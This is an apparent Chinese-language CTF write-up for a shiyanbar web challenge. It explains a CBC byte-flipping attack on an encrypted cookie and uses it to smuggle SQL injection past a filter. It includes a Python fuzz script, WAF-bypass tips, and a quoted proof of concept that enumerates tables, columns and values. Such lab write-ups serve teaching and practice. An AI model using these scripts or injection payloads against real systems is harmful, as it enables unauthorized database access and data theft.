whip1ash

shiyanbar-ALL-writeup(1)

2018-03-26

#shiyanbar-ALL-writeup(1)

最近搞一波ctf,巩固一下基础,搞一些原来没有注意到的点。

简单的登录题

遍历一下ascii 0-255 发现过滤了# , - = \ ~, 没有过滤'扔一个进去,回显hello,再回到index的时候显示报错信息,考虑报错注入。说明记录了每次输入的数据,然后通过cookie回显回来。同样可以说明cookie中包含了payload(这点我没想到,第一是对密码学不熟悉,第二真实环境这样用的概率不大,但是想一想也是有可能的,毕竟内存里做加密与解密比读写sql IO要快的多)

test.php爆出了源码,逻辑挺简单的,感觉思路就是利用cookie绕waf,只要控制set-cookie,就可以随意输入了。但是不知道private key。这有点蛋疼。

所以接下来的思路就是刚密码学了,我觉得这个题出的很不好。。。web偏弄密码学,纯粹为了出题而出题。。。

google:attack aes-128-cbc and you will get CBC Byte Flipping Attack

http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/#gref


以下是我对 CBC Byte Flipping Attack 的一点点理解

Encryption

decryption

知道了是如何加密与解密,其实理解起来就相对比较简单了,可能还需要对异或的性质有一些了解:

  1. 异或运算法则:不同则为1,相同则为0
  2. 如果 A xor B = C 那么则有 C xor B = A
  3. A xor A = 0

如果改变Ciphertext其中的1 byte必定会影响下一个chunk相同位置的Plaintext 1 byte,这样的话,被改变的Ciphertext也就不能得到正确的明文啦,如图:

现在我们可以控制输入了,我们如何能让Plaintext变成我们想要的value呢?其实很简单,这里面涉及一个简单的运算(Example for 1 byte)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
A = pre-chunck-byte-Ciphertext
B = 经过解密运算的Ciphertext
C = Correct-Plaintext (正确的明文)

已知: A xor B = C
可以通过以下运算得到Wanted-Plaintext
A xor B = C , C xor B = A
A xor B xor C = C xor C = 0
A xor B xor C xor Wanted-Plaintext = Wanted-Plaintext (D)

现在我们得到了Wanted-Plaintext,但是我们需要修改的是pre-chunck-byte-Ciphertext
我们对A xor C xor D 进行解密得 A xor C xor D xor B = D
所以需要修改的值 edit-value = A xor C xor D
= pre-chunck-byte-Ciphertext xor Correct-Plaintext xor Wanted-Plaintext


那么这里就出现了一个问题,我们修改后的pre-chunck-byte-Ciphertext解密出来将是乱码,在本题序列化的环境下必定会导致反序列化失败。其实解决办法也很简单,我们padding data,让pre-chunck-byte-Ciphertext为数据区就行了,只要不影响结构就没有问题。

写脚本的时候用了bytearray,这是一个引用,对其进行更改会直接更改内存。复制的话使用 tmp_value = value[:]

我使用padding形式去fuzz payload,但是坑爹的mysql对于他无法识别的字符会报错。

这就很坑了。下面是一个很简单的Fuzz脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import re
from binascii import a2b_base64,b2a_base64
from urllib.parse import unquote,quote

URL = r'http://ctf5.shiyanbar.com/web/jiandan/index.php'

def get_cipher(fuzz):

fuzz0 = f"111111111111{fuzz}111\"1"
data = {'id':fuzz0}
res = requests.post(URL, data=data)
cookies = res.headers['Set-Cookie']
iv = re.findall(r'iv=(.*?),', cookies)[0]
cipher = re.findall(r'cipher=(.*)', cookies)[0]

return iv,cipher

def attack(ciphertext,offset,plain,value,iv=''):
length = len(ciphertext)

if offset > length:
return "Error: Offset > Length"
elif offset-16 < 0 and iv.strip() !='':
iv[offset] = iv[offset] ^ ord(plain) ^ord(value)
return iv

elif offset-16 >= 0:
ciphertext[offset-16] = ciphertext[offset-16] ^ ord(plain) ^ ord(value)
return ciphertext
else:
return 'Error: You may need a iv'

if __name__ == '__main__':
while 1:
iv,cipher = get_cipher('qqqqqqqqqqqqqqqq')

cipher = bytearray(a2b_base64(unquote(cipher)))
attack_cipher = attack(cipher,49,'1',',')
attack_cipher = attack(attack_cipher,52,'1','#')

attack_cipher = quote(b2a_base64(attack_cipher))
print (attack_cipher)
cookies = {'iv':iv,'cipher':attack_cipher}
cont = requests.get(URL, cookies=cookies).content
if b'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near' in cont:
print(f"Response is {cont}")
print(f"iv is {iv}")
print(f"attack_cipher is {attack_cipher}")
break

如果不是mysql的话而是比如执行系统命令的话这里应该很好用。
看了看wp,pcat用了一个小trick,他为了保证序列化结构的不变,他在改变了上一个block的一个字节后,又为了保证上一个block不改变,再翻转上上一个block的每个字节,最后全部翻转iv。
这种解法效率很低,感觉可以报错注入,但是目前并没有进展。贴一下pcat的poc。这个题大概浪费了一天左右的时间,时间主要花费在了了解原理后的复现,远程复现很多地方很模糊,在本地又搞了很多复现的环境。还有,最近转了python3,很多地方用的很不习惯,写poc浪费了太多时间。

bypass tips:
尽可能只翻转一个字节,例如把2nion翻转为union,末尾再用;%00来注释掉后面
由于逗号被过滤,用join来代替;等号被过滤,用regexp来代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from base64 import *
import urllib
import requests
import re

def mydecode(value):
return b64decode(urllib.unquote(value))

def myencode(value):
return urllib.quote(b64encode(value))

def mycbc(value,idx,c1,c2):
lst=list(value)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
return ''.join(lst)

def pcat(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
myd={'id':payload}
res=requests.post(url,data=myd)
cookies=res.headers['Set-Cookie']

iv=re.findall(r'iv=(.*?),',cookies)[0]
cipher=re.findall(r'cipher=(.*)',cookies)[0]

iv_raw=mydecode(iv)
cipher_raw=mydecode(cipher)

cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
cookies_new={'iv':iv,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])

first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new=myencode(iv_new)

cookies_new={'iv':iv_new,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
print 'Payload:%s\n>> ' %(payload)
print cont
pass


def foo():
pcat('12',4,'2','#')
pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')
pass

if __name__ == '__main__':
foo()
print 'ok'

扫描二维码,分享此文章